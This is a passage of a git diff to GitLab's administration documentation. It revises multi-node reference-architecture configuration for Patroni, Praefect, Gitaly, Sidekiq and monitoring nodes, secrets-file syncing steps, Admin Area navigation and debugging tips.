needed. #### PostgreSQL post-configuration -SSH in to the **primary node**: - -1. Open a database prompt: - - ```shell - gitlab-psql -d gitlabhq_production - ``` - -1. Enable the `pg_trgm` extension: - - ```shell - CREATE EXTENSION pg_trgm; - ``` - -1. Exit the database prompt by typing `\q` and Enter. +SSH in to any of the Patroni nodes on the **primary site**: 1. Check the status of the leader and cluster: @@ -943,7 +951,7 @@ The following IPs will be used as an example: ```ruby # Disable all components except Pgbouncer and Consul agent - roles ['pgbouncer_role'] + roles(['pgbouncer_role']) # Configure PgBouncer pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul) @@ -960,7 +968,6 @@ The following IPs will be used as an example: # Configure Consul agent consul['watchers'] = %w(postgresql) - consul['enable'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } @@ -973,6 +980,9 @@ The following IPs will be used as an example: pgbouncer_exporter['listen_address'] = '0.0.0.0:9188' ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Create a `.pgpass` file so Consul is able to @@ -1088,9 +1098,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. ```ruby # Disable all components except PostgreSQL and Consul - roles ['postgres_role'] - repmgr['enable'] = false - patroni['enable'] = false + roles(['postgres_role', 'consul_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' @@ -1100,7 +1108,6 @@ in the second step, do not supply the `EXTERNAL_URL` value. gitlab_rails['auto_migrate'] = false # Configure the Consul agent - consul['enable'] = true ## Enable service discovery for Prometheus consul['monitoring_service_discovery'] = true @@ -1126,7 +1133,11 @@ in the second step, do not supply the `EXTERNAL_URL` value. # END user configuration ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Follow the [post configuration](#praefect-postgresql-post-configuration). <div align="right"> @@ -1224,19 +1235,18 @@ To configure the Praefect nodes, on each one: 1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect: ```ruby - # Avoid running unnecessary services on the Gitaly server + # Avoid running unnecessary services on the Praefect server + gitaly['enable'] = false postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Praefect Configuration praefect['enable'] = true @@ -1274,19 +1284,20 @@ To configure the Praefect nodes, on each one: # server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1') praefect['virtual_storages'] = { 'default' => { - 'gitaly-1' => { - 'address' => 'tcp://10.6.0.91:8075', - 'token' => '<praefect_internal_token>', - 'primary' => true - }, - 'gitaly-2' => { - 'address' => 'tcp://10.6.0.92:8075', - 'token' => '<praefect_internal_token>' - }, - 'gitaly-3' => { - 'address' => 'tcp://10.6.0.93:8075', - 'token' => '<praefect_internal_token>' - }, + 'nodes' => { + 'gitaly-1' => { + 'address' => 'tcp://10.6.0.91:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-2' => { + 'address' => 'tcp://10.6.0.92:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-3' => { + 'address' => 'tcp://10.6.0.93:8075', + 'token' => '<praefect_internal_token>' + }, + } } } @@ -1303,11 +1314,25 @@ To configure the Praefect nodes, on each one: # END user configuration ``` - 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace +the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. Praefect requires to run some database migrations, much like the main GitLab application. For this + you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node + must be configured first before the others as follows: + + 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true` + + 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and + to run the Praefect database migrations. - 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. ### Configure Gitaly @@ -1351,21 +1376,17 @@ On each node: storage paths, enable the network listener, and to configure the token: ```ruby - # /etc/gitlab/gitlab.rb - # Avoid running unnecessary services on the Gitaly server postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false @@ -1373,9 +1394,11 @@ On each node: # Configure the gitlab-shell API callback URL. Without this, `git push` will # fail. This can be your 'front door' GitLab URL or an internal load # balancer. - # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server. gitlab_rails['internal_api_url'] = 'https://gitlab.example.com' + # Gitaly + gitaly['enable'] = true + # Make Gitaly accept connections on all network interfaces. You must use # firewalls to restrict access to this address/port. # Comment out following line if you only want to support TLS connections @@ -1417,9 +1440,8 @@ On each node: }) ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1526,28 +1548,19 @@ To configure the Sidekiq nodes, one each one: 1. Open `/etc/gitlab/gitlab.rb` with your editor: ```ruby - ######################################## - ##### Services Disabled ### - ######################################## - - nginx['enable'] = false - grafana['enable'] = false - prometheus['enable'] = false - alertmanager['enable'] = false + # Avoid running unnecessary services on the Sidekiq server gitaly['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = false - puma['enable'] = false - postgres_exporter['enable'] = false postgresql['enable'] = false redis['enable'] = false - redis_exporter['enable'] = false + puma['enable'] = false + gitlab_workhorse['enable'] = false + prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false gitlab_exporter['enable'] = false + nginx['enable'] = false - ######################################## - #### Redis ### - ######################################## - + # Redis ## Must be the same in every sentinel node redis['master_name'] = 'gitlab-redis' @@ -1561,13 +1574,10 @@ To configure the Sidekiq nodes, one each one: {'host' => '10.6.0.13', 'port' => 26379}, ] - ####################################### - ### Gitaly ### - ####################################### - - # git_data_dirs get configured for the Praefect virtual storage - # Address is Internal Load Balancer for Praefect - # Token is praefect_external_token + # Gitaly Cluster + ## git_data_dirs get configured for the Praefect virtual storage + ## Address is Internal Load Balancer for Praefect + ## Token is praefect_external_token git_data_dirs({ "default" => { "gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP @@ -1575,31 +1585,26 @@ To configure the Sidekiq nodes, one each one: } }) - ####################################### - ### Postgres ### - ####################################### + # PostgreSQL gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' - # Prevent database migrations from running on upgrade automatically + ## Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false - ####################################### - ### Sidekiq configuration ### - ####################################### + # Sidekiq + sidekiq['enable'] = true sidekiq['listen_address'] = "0.0.0.0" - # Set number of Sidekiq queue processes to the same number as available CPUs + ## Set number of Sidekiq queue processes to the same number as available CPUs sidekiq['queue_groups'] = ['*'] * 4 - # Set number of Sidekiq threads per queue process to the recommend number of 10 + ## Set number of Sidekiq threads per queue process to the recommend number of 10 sidekiq['max_concurrency'] = 10 - ####################################### - ### Monitoring configuration ### - ####################################### + # Monitoring consul['enable'] = true consul['monitoring_service_discovery'] = true @@ -1607,19 +1612,16 @@ To configure the Sidekiq nodes, one each one: retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } - # Set the network addresses that the exporters will listen on + ## Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - # Rails Status for prometheus + ## Add the monitoring node's IP address to the monitoring whitelist gitlab_rails['monitoring_whitelist'] = ['10.6.0.81/32', '127.0.0.0/8'] gitlab_rails['prometheus_address'] = '10.6.0.81:9090' - ############################# - ### Object storage ### - ############################# - - # This is an example for configuring Object Storage on GCP - # Replace this config with your chosen Object Storage provider as desired + # Object Storage + ## This is an example for configuring Object Storage on GCP + ## Replace this config with your chosen Object Storage provider as desired gitlab_rails['object_store']['connection'] = { 'provider' => 'Google', 'google_project' => '<gcp-project-name>', @@ -1632,9 +1634,29 @@ To configure the Sidekiq nodes, one each one: gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>" gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Verify the GitLab services are running: ```shell @@ -1716,7 +1738,7 @@ On each node perform the following: }) ## Disable components that will not be on the GitLab application server - roles ['application_role'] + roles(['application_role']) gitaly['enable'] = false nginx['enable'] = true sidekiq['enable'] = false @@ -1785,6 +1807,13 @@ On each node perform the following: gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" + ## Uncomment and edit the following options if you have set up NFS ## ## Prevent GitLab from starting if NFS data mounts are not available @@ -1819,7 +1848,20 @@ On each node perform the following: sudo cp cert.pem /etc/gitlab/trusted-certs/ ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Run `sudo gitlab-rake gitlab:gitaly:check` to confirm the node can connect to Gitaly. 1. Tail the logs to see the requests: @@ -1827,11 +1869,6 @@ On each node perform the following: sudo gitlab-ctl tail gitaly ``` -1. Save the `/etc/gitlab/gitlab-secrets.json` file from one of the two - application nodes and install it on the other application node, the - [Gitaly node](#configure-gitaly) and the [Sidekiq node](#configure-sidekiq) and - [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). - 1. Verify the GitLab services are running: ```shell @@ -1890,45 +1927,26 @@ running [Prometheus](../monitoring/prometheus/index.md) and 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - external_url 'http://gitlab.example.com' + roles(['monitoring_role', 'consul_role']) - # Disable all other services - alertmanager['enable'] = false - gitaly['enable'] = false - gitlab_exporter['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = true - postgres_exporter['enable'] = false - postgresql['enable'] = false - redis['enable'] = false - redis_exporter['enable'] = false - sidekiq['enable'] = false - puma['enable'] = false - unicorn['enable'] = false - node_exporter['enable'] = false - gitlab_exporter['enable'] = false + external_url 'http://gitlab.example.com' - # Enable Prometheus - prometheus['enable'] = true + # Prometheus prometheus['listen_address'] = '0.0.0.0:9090' prometheus['monitor_kubernetes'] = false - # Enable Login form - grafana['disable_login_form'] = false - - # Enable Grafana - grafana['enable'] = true + # Grafana grafana['admin_password'] = '<grafana_password>' + grafana['disable_login_form'] = false # Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } - # Prevent database migrations from running on upgrade automatically - gitlab_rails['auto_migrate'] = false + # Nginx - For Grafana access + nginx['enable'] = true ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md index 6698737af6a..49024365e30 100644 --- a/doc/administration/reference_architectures/index.md +++ b/doc/administration/reference_architectures/index.md @@ -138,12 +138,12 @@ As long as at least one of each component is online and capable of handling the ### Automated database failover **(PREMIUM SELF)** > - Level of complexity: **High** -> - Required domain knowledge: PgBouncer, Repmgr or Patroni, shared storage, distributed systems +> - Required domain knowledge: PgBouncer, Patroni, shared storage, distributed systems By adding automatic failover for database systems, you can enable higher uptime with additional database nodes. This extends the default database with cluster management and failover policies. -[PgBouncer in conjunction with Repmgr or Patroni](../postgresql/replication_and_failover.md) +[PgBouncer in conjunction with Patroni](../postgresql/replication_and_failover.md) is recommended. ### Instance level replication with GitLab Geo **(PREMIUM SELF)** diff --git a/doc/administration/reference_architectures/troubleshooting.md b/doc/administration/reference_architectures/troubleshooting.md index d5f57965a80..4b07cff7de2 100644 --- a/doc/administration/reference_architectures/troubleshooting.md +++ b/doc/administration/reference_architectures/troubleshooting.md @@ -206,211 +206,8 @@ To make sure your configuration is correct: ## Troubleshooting Gitaly -If you have any problems when using standalone Gitaly nodes, first -[check all the versions are up to date](../gitaly/index.md#check-versions-when-using-standalone-gitaly-servers). - -### `gitaly-debug` - -The `gitaly-debug` command provides "production debugging" tools for Gitaly and Git -performance. It is intended to help production engineers and support -engineers investigate Gitaly performance problems. - -If you're using GitLab 11.6 or newer, this tool should be installed on -your GitLab / Gitaly server already at `/opt/gitlab/embedded/bin/gitaly-debug`. -If you're investigating an older GitLab version you can compile this -tool offline and copy the executable to your server: - -```shell -git clone https://gitlab.com/gitlab-org/gitaly.git -cd cmd/gitaly-debug -GOOS=linux GOARCH=amd64 go build -o gitaly-debug -``` - -To see the help page of `gitaly-debug` for a list of supported sub-commands, run: - -```shell -gitaly-debug -h -``` - -### Commits, pushes, and clones return a 401 - -```plaintext -remote: GitLab: 401 Unauthorized -``` - -You will need to sync your `gitlab-secrets.json` file with your GitLab -app nodes. - -### Client side gRPC logs - -Gitaly uses the [gRPC](https://grpc.io/) RPC framework. The Ruby gRPC -client has its own log file which may contain useful information when -you are seeing Gitaly errors. You can control the log level of the -gRPC client with the `GRPC_LOG_LEVEL` environment variable. The -default level is `WARN`. - -You can run a gRPC trace with: - -```shell -sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check -``` - -### Observing `gitaly-ruby` traffic - -[`gitaly-ruby`](../gitaly/configure_gitaly.md#gitaly-ruby) is an internal implementation detail of Gitaly, -so, there's not that much visibility into what goes on inside -`gitaly-ruby` processes. - -If you have Prometheus set up to scrape your Gitaly process, you can see -request rates and error codes for individual RPCs in `gitaly-ruby` by -querying `grpc_client_handled_total`. Strictly speaking, this metric does -not differentiate between `gitaly-ruby` and other RPCs, but in practice -(as of GitLab 11.9), all gRPC calls made by Gitaly itself are internal -calls from the main Gitaly process to one of its `gitaly-ruby` sidecars. - -Assuming your `grpc_client_handled_total` counter only observes Gitaly, -the following query shows you RPCs are (most likely) internally -implemented as calls to `gitaly-ruby`: - -```prometheus -sum(rate(grpc_client_handled_total[5m])) by (grpc_method) > 0 -``` - -### Repository changes fail with a `401 Unauthorized` error - -If you're running Gitaly on its own server and notice that users can -successfully clone and fetch repositories (via both SSH and HTTPS), but can't -push to them or make changes to the repository in the web UI without getting a -`401 Unauthorized` message, then it's possible Gitaly is failing to authenticate -with the other nodes due to having the wrong secrets file. - -Confirm the following are all true: - -- When any user performs a `git push` to any repository on this Gitaly node, it - fails with the following error (note the `401 Unauthorized`): - - ```shell - remote: GitLab: 401 Unauthorized - To <REMOTE_URL> - ! [remote rejected] branch-name -> branch-name (pre-receive hook declined) - error: failed to push some refs to '<REMOTE_URL>' - ``` - -- When any user adds or modifies a file from the repository using the GitLab - UI, it immediately fails with a red `401 Unauthorized` banner. -- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#blank-projects) - successfully creates the project but doesn't create the README. -- When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server) on an app node and reproducing the error, you get `401` errors - when reaching the [`/api/v4/internal/allowed`](../../development/internal_api.md) endpoint: - - ```shell - # api_json.log - { - "time": "2019-07-18T00:30:14.967Z", - "severity": "INFO", - "duration": 0.57, - "db": 0, - "view": 0.57, - "status": 401, - "method": "POST", - "path": "\/api\/v4\/internal\/allowed", - "params": [ - { - "key": "action", - "value": "git-receive-pack" - }, - { - "key": "changes", - "value": "REDACTED" - }, - { - "key": "gl_repository", - "value": "REDACTED" - }, - { - "key": "project", - "value": "\/path\/to\/project.git" - }, - { - "key": "protocol", - "value": "web" - }, - { - "key": "env", - "value": "{\"GIT_ALTERNATE_OBJECT_DIRECTORIES\":[],\"GIT_ALTERNATE_OBJECT_DIRECTORIES_RELATIVE\":[],\"GIT_OBJECT_DIRECTORY\":null,\"GIT_OBJECT_DIRECTORY_RELATIVE\":null}" - }, - { - "key": "user_id", - "value": "2" - }, - { - "key": "secret_token", - "value": "[FILTERED]" - } - ], - "host": "gitlab.example.com", - "ip": "REDACTED", - "ua": "Ruby", - "route": "\/api\/:version\/internal\/allowed", - "queue_duration": 4.24, - "gitaly_calls": 0, - "gitaly_duration": 0, - "correlation_id": "XPUZqTukaP3" - } - - # nginx_access.log - [IP] - - [18/Jul/2019:00:30:14 +0000] "POST /api/v4/internal/allowed HTTP/1.1" 401 30 "" "Ruby" - ``` - -To fix this problem, confirm that your `gitlab-secrets.json` file -on the Gitaly node matches the one on all other nodes. If it doesn't match, -update the secrets file on the Gitaly node to match the others, then -[reconfigure the node](../restart_gitlab.md#omnibus-gitlab-reconfigure). - -### Command line tools cannot connect to Gitaly - -If you are having trouble connecting to a Gitaly node with command line (CLI) tools, and certain actions result in a `14: Connect Failed` error message, it means that gRPC cannot reach your Gitaly node. - -Verify that you can reach Gitaly via TCP: - -```shell -sudo gitlab-rake gitlab:tcp_check[GITALY_SERVER_IP,GITALY_LISTEN_PORT] -``` - -If the TCP connection fails, check your network settings and your firewall rules. If the TCP connection succeeds, your networking and firewall rules are correct. - -If you use proxy servers in your command line environment, such as Bash, these can interfere with your gRPC traffic. - -If you use Bash or a compatible command line environment, run the following commands to determine whether you have proxy servers configured: - -```shell -echo $http_proxy -echo $https_proxy -``` - -If either of these variables have a value, your Gitaly CLI connections may be getting routed through a proxy which cannot connect to Gitaly. - -To remove the proxy setting, run the following commands (depending on which variables had values): - -```shell -unset http_proxy -unset https_proxy -``` - -### Gitaly not listening on new address after reconfiguring - -When updating the `gitaly['listen_addr']` or `gitaly['prometheus_listen_addr']` values, Gitaly may continue to listen on the old address after a `sudo gitlab-ctl reconfigure`. - -When this occurs, performing a `sudo gitlab-ctl restart` will resolve the issue. This will no longer be necessary after [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/2521) is resolved. - -### Permission denied errors appearing in Gitaly logs when accessing repositories from a standalone Gitaly node - -If this error occurs even though file permissions are correct, it's likely that -the Gitaly node is experiencing -[clock drift](https://en.wikipedia.org/wiki/Clock_drift). - -Please ensure that the GitLab and Gitaly nodes are synchronized and use an NTP time -server to keep them synchronized if possible. +For troubleshooting information, see Gitaly and Gitaly Cluster +[troubleshooting information](../gitaly/index.md). ## Troubleshooting the GitLab Rails application diff --git a/doc/administration/reply_by_email_postfix_setup.md b/doc/administration/reply_by_email_postfix_setup.md index f0b9daead69..aae5475312f 100644 --- a/doc/administration/reply_by_email_postfix_setup.md +++ b/doc/administration/reply_by_email_postfix_setup.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Set up Postfix for incoming email +# Set up Postfix for incoming email **(FREE SELF)** This document will take you through the steps of setting up a basic Postfix mail server with IMAP authentication on Ubuntu, to be used with [incoming email](incoming_email.md). diff --git a/doc/administration/repository_checks.md b/doc/administration/repository_checks.md index d603e5d8c92..869b1e7068f 100644 --- a/doc/administration/repository_checks.md +++ b/doc/administration/repository_checks.md @@ -41,9 +41,12 @@ in the [`repocheck.log` file](logs.md#repochecklog) on disk: - `/var/log/gitlab/gitlab-rails` for Omnibus GitLab installations - `/home/git/gitlab/log` for installations from source -If the periodic repository check causes false alarms, you can clear all repository check states by -going to **Admin Area > Settings > Repository** -(`/admin/application_settings/repository`) and clicking **Clear all repository checks**. +If the periodic repository check causes false alarms, you can clear all repository check states by: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Repository** (`/admin/application_settings/repository`). +1. Expand the **Repository maintenance** section. +1. Select **Clear all repository checks**. ## Run a check manually diff --git a/doc/administration/repository_storage_paths.md b/doc/administration/repository_storage_paths.md index cea2144122b..a1391f3e0ed 100644 --- a/doc/administration/repository_storage_paths.md +++ b/doc/administration/repository_storage_paths.md @@ -7,13 +7,11 @@ type: reference, howto # Repository storage **(FREE SELF)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4578) in GitLab 8.10. - GitLab stores [repositories](../user/project/repository/index.md) on repository storage. Repository storage is either: - A `gitaly_address`, which points to a [Gitaly node](gitaly/index.md). -- A `path`, which points directly a directory where the repositories are stored. This method is +- A `path`, which points directly to the directory where the repositories are stored. This method is deprecated and [scheduled to be removed](https://gitlab.com/gitlab-org/gitaly/-/issues/1690) in GitLab 14.0. @@ -142,8 +140,9 @@ Omnibus stores the repositories in a `repositories` subdirectory of the `git-dat After you [configure](#configure-repository-storage-paths) multiple repository storage paths, you can choose where new repositories are stored: -1. Go to the Admin Area (**{admin}**). -1. Go to **Settings > Repository** and expand the **Repository storage** section. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Repository** and expand the **Repository storage** + section. 1. Enter values in the **Storage nodes for new repositories** fields. 1. Select **Save changes**. @@ -156,5 +155,5 @@ often it is chosen. That is, `(storage weight) / (sum of all weights) * 100 = ch ## Move repositories -To move a repository to a different repository path, use the same process as -[migrating to Gitaly Cluster](gitaly/praefect.md#migrate-to-gitaly-cluster). +To move a repository to a different repository storage (for example, from `default` to `storage2`), use the +same process as [migrating to Gitaly Cluster](gitaly/praefect.md#migrate-to-gitaly-cluster). diff --git a/doc/administration/repository_storage_types.md b/doc/administration/repository_storage_types.md index 21bb11226ce..f55bff1bf34 100644 --- a/doc/administration/repository_storage_types.md +++ b/doc/administration/repository_storage_types.md @@ -80,8 +80,8 @@ Administrators can look up a project's hashed path from its name or ID using: To look up a project's hash path in the Admin Area: -1. Go to the **Admin Area** (**{admin}**). -1. Go to **Overview > Projects** and select the project. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Projects** and select the project. The **Gitaly relative path** is displayed there and looks similar to: diff --git a/doc/administration/sidekiq.md b/doc/administration/sidekiq.md index a97eff23c2f..95fef1255af 100644 --- a/doc/administration/sidekiq.md +++ b/doc/administration/sidekiq.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Configuring Sidekiq +# Configuring Sidekiq **(FREE SELF)** This section discusses how to configure an external Sidekiq instance using the bundled Sidekiq in the GitLab package. @@ -26,7 +26,7 @@ you want using steps 1 and 2 from the GitLab downloads page. ## Optional: Enable extra Sidekiq processes sidekiq_cluster['enable'] = true sidekiq['queue_groups'] = [ - "elastic_indexer", + "elastic_commit_indexer", "*" ] ``` @@ -187,4 +187,5 @@ gitlab_rails['monitoring_whitelist'] = ['10.10.1.42', '127.0.0.1'] Related Sidekiq configuration: 1. [Extra Sidekiq processes](operations/extra_sidekiq_processes.md) +1. [Extra Sidekiq routing](operations/extra_sidekiq_routing.md) 1. [Using the GitLab-Sidekiq chart](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/) diff --git a/doc/administration/smime_signing_email.md b/doc/administration/smime_signing_email.md index 7492bf4457a..ebc1723076b 100644 --- a/doc/administration/smime_signing_email.md +++ b/doc/administration/smime_signing_email.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Signing outgoing email with S/MIME +# Signing outgoing email with S/MIME **(FREE SELF)** Notification emails sent by GitLab can be signed with S/MIME for improved security. diff --git a/doc/administration/static_objects_external_storage.md b/doc/administration/static_objects_external_storage.md index fcd2bbc035f..48b98156b4f 100644 --- a/doc/administration/static_objects_external_storage.md +++ b/doc/administration/static_objects_external_storage.md @@ -16,7 +16,8 @@ from an external storage, such as a Content Delivery Network (CDN). To configure external storage for static objects: -1. Go to **Admin Area > Settings > Repository**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Repository**. 1. Expand the **Repository static objects** section. 1. Enter the base URL and an arbitrary token. When you [set up external storage](#set-up-external-storage), use a script that sets these values as `ORIGIN_HOSTNAME` and `STORAGE_TOKEN`. diff --git a/doc/administration/terraform_state.md b/doc/administration/terraform_state.md index 898d98495d9..388ae74f207 100644 --- a/doc/administration/terraform_state.md +++ b/doc/administration/terraform_state.md @@ -23,7 +23,7 @@ Use [external object storage](https://docs.gitlab.com/charts/advanced/external-o ## Disabling Terraform state To disable terraform state site-wide, follow the steps below. -A GitLab administrator may want to disable Terraform state to reduce diskspace or if Terraform is not used in your instance. +A GitLab administrator may want to disable Terraform state to reduce disk space or if Terraform is not used in your instance. To do so, follow the steps below according to your installation's type. **In Omnibus installations:** diff --git a/doc/administration/timezone.md b/doc/administration/timezone.md index 6f460ed0ea8..bc94110c5b6 100644 --- a/doc/administration/timezone.md +++ b/doc/administration/timezone.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Changing your time zone +# Changing your time zone **(FREE SELF)** The global time zone configuration parameter can be changed in `config/gitlab.yml`: diff --git a/doc/administration/troubleshooting/debug.md b/doc/administration/troubleshooting/debug.md index 5a8ee1c5c94..6861cdcde4e 100644 --- a/doc/administration/troubleshooting/debug.md +++ b/doc/administration/troubleshooting/debug.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Debugging Tips +# Debugging tips **(FREE SELF)** Sometimes things don't work the way they should. Here are some tips on debugging issues out in production. @@ -26,7 +26,7 @@ You can enable output of Active Record debug logging in the Rails console session by running: ```ruby -ActiveRecord::Base.logger = Logger.new(STDOUT) +ActiveRecord::Base.logger = Logger.new($stdout) ``` This will show information about database queries triggered by any Ruby code @@ -155,7 +155,7 @@ and more. However, this is not enabled by default. To enable it, define the gitlab_rails['env'] = {"ENABLE_RBTRACE" => "1"} ``` -Then reconfigure the system and restart Unicorn and Sidekiq. To run this +Then reconfigure the system and restart Puma and Sidekiq. To run this in Omnibus, run as root: ```ruby @@ -178,7 +178,7 @@ following tips are only recommended if you do NOT mind users being affected by downtime. Otherwise skip to the next section. 1. Load the problematic URL -1. Run `sudo gdb -p <PID>` to attach to the Unicorn process. +1. Run `sudo gdb -p <PID>` to attach to the Puma process. 1. In the GDB window, type: ```plaintext @@ -186,7 +186,7 @@ downtime. Otherwise skip to the next section. ``` 1. This forces the process to generate a Ruby backtrace. Check - `/var/log/gitlab/unicorn/unicorn_stderr.log` for the backtrace. For example, you may see: + `/var/log/gitlab/puma/puma_stderr.log` for the backtrace. For example, you may see: ```plaintext from 